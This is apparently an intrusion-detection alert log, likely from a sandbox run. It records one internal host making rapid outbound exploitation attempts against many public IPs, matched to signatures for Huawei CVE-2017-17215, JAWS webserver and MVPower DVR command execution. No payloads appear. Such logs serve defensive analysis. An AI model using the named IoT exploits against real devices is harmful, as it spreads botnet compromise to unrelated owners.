Timestamp:	06/10/24-15:38:00.014911
SID:	2835222
Source Port:	38984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.60.167.234

Timestamp:	06/10/24-15:38:00.218890
SID:	2835222
Source Port:	47364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.144.113.129

Timestamp:	06/10/24-15:38:00.213967
SID:	2829579
Source Port:	58106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 217.134.158.53

Timestamp:	06/10/24-15:38:02.258958
SID:	2030092
Source Port:	36798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.1.86.198

Timestamp:	06/10/24-15:38:02.735960
SID:	2829579
Source Port:	47608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.156.129.89

Timestamp:	06/10/24-15:37:59.989479
SID:	2835222
Source Port:	58502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.185.191

Timestamp:	06/10/24-15:38:00.027008
SID:	2835222
Source Port:	42370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.135.181.98

Timestamp:	06/10/24-15:38:02.858288
SID:	2829579
Source Port:	49962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.1.16.245

Timestamp:	06/10/24-15:37:59.923381
SID:	2829579
Source Port:	60882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.209.45.106

Timestamp:	06/10/24-15:38:00.169848
SID:	2835222
Source Port:	55296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.116.197.156

Timestamp:	06/10/24-15:38:00.018435
SID:	2829579
Source Port:	35452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 75.235.225.30

Timestamp:	06/10/24-15:38:02.216669
SID:	2030092
Source Port:	51386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.247.171

Timestamp:	06/10/24-15:37:59.993727
SID:	2829579
Source Port:	53342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.176.118

Timestamp:	06/10/24-15:38:02.876052
SID:	2835222
Source Port:	47002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.0.102.53

Timestamp:	06/10/24-15:38:02.804169
SID:	2829579
Source Port:	41386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.55.41.178

Timestamp:	06/10/24-15:38:00.186850
SID:	2835222
Source Port:	33396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.203.151.228

Timestamp:	06/10/24-15:38:00.217260
SID:	2829579
Source Port:	41384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.155.99.209

Timestamp:	06/10/24-15:38:02.852405
SID:	2835222
Source Port:	34956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.41.194.38

Timestamp:	06/10/24-15:38:00.131221
SID:	2829579
Source Port:	48102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 78.199.201.121

Timestamp:	06/10/24-15:37:59.815835
SID:	2030092
Source Port:	53776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.12.46

Timestamp:	06/10/24-15:38:00.268899
SID:	2835222
Source Port:	36416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.67.8

Timestamp:	06/10/24-15:38:02.727944
SID:	2829579
Source Port:	44684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.213.216.105

Timestamp:	06/10/24-15:38:02.864253
SID:	2835222
Source Port:	47112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 115.56.153.54

Timestamp:	06/10/24-15:37:59.774510
SID:	2025883
Source Port:	54128
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 108.217.14.73

Timestamp:	06/10/24-15:38:02.209224
SID:	2030092
Source Port:	39220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.126.48.116

Timestamp:	06/10/24-15:38:02.667443
SID:	2835222
Source Port:	56504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.209.134

Timestamp:	06/10/24-15:38:00.026295
SID:	2835222
Source Port:	43020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.86.51.96

Timestamp:	06/10/24-15:38:02.789775
SID:	2829579
Source Port:	51240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.40.65.61

Timestamp:	06/10/24-15:38:02.844763
SID:	2829579
Source Port:	55898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.70.44

Timestamp:	06/10/24-15:38:00.039203
SID:	2835222
Source Port:	46642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.222.92.212

Timestamp:	06/10/24-15:38:02.722392
SID:	2829579
Source Port:	52368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 109.89.84.87

Timestamp:	06/10/24-15:38:02.158562
SID:	2030092
Source Port:	50270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.196.121.47

Timestamp:	06/10/24-15:38:02.671087
SID:	2835222
Source Port:	45274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.23.215

Timestamp:	06/10/24-15:38:02.842261
SID:	2829579
Source Port:	59676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 44.130.63.92

Timestamp:	06/10/24-15:38:02.208033
SID:	2030092
Source Port:	44384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 151.218.172.48

Timestamp:	06/10/24-15:37:59.750933
SID:	2030092
Source Port:	35674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 32.111.100.187

Timestamp:	06/10/24-15:37:59.779104
SID:	2025883
Source Port:	59220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 167.251.162.140

Timestamp:	06/10/24-15:37:59.811339
SID:	2025883
Source Port:	54380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.168.245.29

Timestamp:	06/10/24-15:38:00.192522
SID:	2835222
Source Port:	48172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.251.49

Timestamp:	06/10/24-15:38:00.201993
SID:	2829579
Source Port:	34464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 116.139.9.42

Timestamp:	06/10/24-15:38:02.094682
SID:	2030092
Source Port:	41156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.93.109.120

Timestamp:	06/10/24-15:38:02.749574
SID:	2829579
Source Port:	45224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.134.62.117

Timestamp:	06/10/24-15:38:00.160015
SID:	2835222
Source Port:	44468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.13.119.15

Timestamp:	06/10/24-15:38:00.172951
SID:	2835222
Source Port:	57678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.89.192.95

Timestamp:	06/10/24-15:38:00.251690
SID:	2829579
Source Port:	51740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.238.163.110

Timestamp:	06/10/24-15:38:00.036323
SID:	2835222
Source Port:	50702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 124.6.22.152

Timestamp:	06/10/24-15:38:02.144369
SID:	2030092
Source Port:	48144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.205.250

Timestamp:	06/10/24-15:37:59.947535
SID:	2829579
Source Port:	39894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 119.69.66.111

Timestamp:	06/10/24-15:38:02.139383
SID:	2030092
Source Port:	35604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.113.136.169

Timestamp:	06/10/24-15:38:02.916548
SID:	2829579
Source Port:	50156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 157.18.104.206

Timestamp:	06/10/24-15:38:02.184257
SID:	2030092
Source Port:	54180
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.134.35

Timestamp:	06/10/24-15:38:02.873305
SID:	2829579
Source Port:	55624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 57.244.132.164

Timestamp:	06/10/24-15:37:59.758232
SID:	2030092
Source Port:	43434
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.107.34

Timestamp:	06/10/24-15:37:59.976497
SID:	2829579
Source Port:	34932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.65.119

Timestamp:	06/10/24-15:38:02.511176
SID:	2829579
Source Port:	56274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.142.47.5

Timestamp:	06/10/24-15:38:02.845835
SID:	2829579
Source Port:	58594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.181.198.133

Timestamp:	06/10/24-15:38:00.198032
SID:	2835222
Source Port:	54544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 120.127.248.215

Timestamp:	06/10/24-15:37:59.852064
SID:	2025883
Source Port:	45994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.100.180.103

Timestamp:	06/10/24-15:38:00.228570
SID:	2829579
Source Port:	54124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.14.173.139

Timestamp:	06/10/24-15:38:00.274773
SID:	2835222
Source Port:	34678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.242.83.117

Timestamp:	06/10/24-15:38:02.748143
SID:	2829579
Source Port:	48954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 24.223.44.225

Timestamp:	06/10/24-15:37:59.856619
SID:	2030092
Source Port:	43560
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.198.51

Timestamp:	06/10/24-15:38:00.232831
SID:	2835222
Source Port:	33494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.32.124.85

Timestamp:	06/10/24-15:37:59.986004
SID:	2829579
Source Port:	53016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 72.99.239.26

Timestamp:	06/10/24-15:38:02.146535
SID:	2030092
Source Port:	36400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.242.196.25

Timestamp:	06/10/24-15:37:59.840660
SID:	2030092
Source Port:	33900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.0.140

Timestamp:	06/10/24-15:38:02.818643
SID:	2829579
Source Port:	60054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.173.181.199

Timestamp:	06/10/24-15:38:02.662261
SID:	2835222
Source Port:	49490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.70.83.42

Timestamp:	06/10/24-15:38:02.505632
SID:	2829579
Source Port:	42276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 105.54.97.51

Timestamp:	06/10/24-15:38:02.181411
SID:	2030092
Source Port:	35638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.228.103

Timestamp:	06/10/24-15:38:02.910934
SID:	2835222
Source Port:	47504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.106.155

Timestamp:	06/10/24-15:38:02.733766
SID:	2829579
Source Port:	33040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.123.237.221

Timestamp:	06/10/24-15:38:00.167791
SID:	2835222
Source Port:	59702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.66.186.65

Timestamp:	06/10/24-15:37:59.960374
SID:	2829579
Source Port:	56034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 189.244.26.215

Timestamp:	06/10/24-15:37:59.824955
SID:	2025883
Source Port:	48068
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.94.153.112

Timestamp:	06/10/24-15:38:00.185349
SID:	2835222
Source Port:	60220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.45.237.96

Timestamp:	06/10/24-15:38:00.009869
SID:	2829579
Source Port:	32966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.124.203.218

Timestamp:	06/10/24-15:38:02.511832
SID:	2835222
Source Port:	40166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.228.119.118

Timestamp:	06/10/24-15:38:02.710308
SID:	2835222
Source Port:	50128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.51.90

Timestamp:	06/10/24-15:38:02.499468
SID:	2829579
Source Port:	51642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.82.1.213

Timestamp:	06/10/24-15:37:59.946836
SID:	2829579
Source Port:	53482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 96.171.224.255

Timestamp:	06/10/24-15:37:59.873252
SID:	2030092
Source Port:	52736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.19.66.134

Timestamp:	06/10/24-15:38:02.718331
SID:	2829579
Source Port:	51422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.111.177

Timestamp:	06/10/24-15:38:02.743038
SID:	2829579
Source Port:	56570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.156.248

Timestamp:	06/10/24-15:38:02.809845
SID:	2829579
Source Port:	54624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 145.193.92.118

Timestamp:	06/10/24-15:37:59.820455
SID:	2030092
Source Port:	48502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 82.111.112.237

Timestamp:	06/10/24-15:38:02.209869
SID:	2025883
Source Port:	40614
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.27.222

Timestamp:	06/10/24-15:38:02.675728
SID:	2829579
Source Port:	33814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.124.122.69

Timestamp:	06/10/24-15:38:00.180724
SID:	2829579
Source Port:	45616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 20.2.48.78

Timestamp:	06/10/24-15:37:59.765229
SID:	2025883
Source Port:	45956
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.178.159.128

Timestamp:	06/10/24-15:38:00.241407
SID:	2829579
Source Port:	49198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.229.89.182

Timestamp:	06/10/24-15:38:02.783251
SID:	2829579
Source Port:	39562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.141.138.41

Timestamp:	06/10/24-15:38:02.686166
SID:	2835222
Source Port:	42686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 75.46.147.180

Timestamp:	06/10/24-15:38:02.083314
SID:	2030092
Source Port:	35834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.69.40.39

Timestamp:	06/10/24-15:38:02.752803
SID:	2835222
Source Port:	57264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.243.212.25

Timestamp:	06/10/24-15:38:00.253813
SID:	2829579
Source Port:	43078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.172.0.85

Timestamp:	06/10/24-15:38:00.256609
SID:	2829579
Source Port:	32906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.194.245

Timestamp:	06/10/24-15:38:00.254476
SID:	2835222
Source Port:	36058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 153.175.107.60

Timestamp:	06/10/24-15:38:02.249310
SID:	2030092
Source Port:	49594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 9.187.220.248

Timestamp:	06/10/24-15:38:02.101239
SID:	2030092
Source Port:	60594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.143.243.166

Timestamp:	06/10/24-15:37:59.922412
SID:	2835222
Source Port:	49110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.27.221.22

Timestamp:	06/10/24-15:37:59.968821
SID:	2835222
Source Port:	45692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 9.203.151.161

Timestamp:	06/10/24-15:37:59.783784
SID:	2025883
Source Port:	39218
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.121.169

Timestamp:	06/10/24-15:38:02.770031
SID:	2835222
Source Port:	35782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.94.37.133

Timestamp:	06/10/24-15:38:02.875172
SID:	2829579
Source Port:	45636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.104.219.208

Timestamp:	06/10/24-15:38:02.934901
SID:	2829579
Source Port:	34102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.2.80.141

Timestamp:	06/10/24-15:38:02.787074
SID:	2829579
Source Port:	56392
Destination Port:	37215
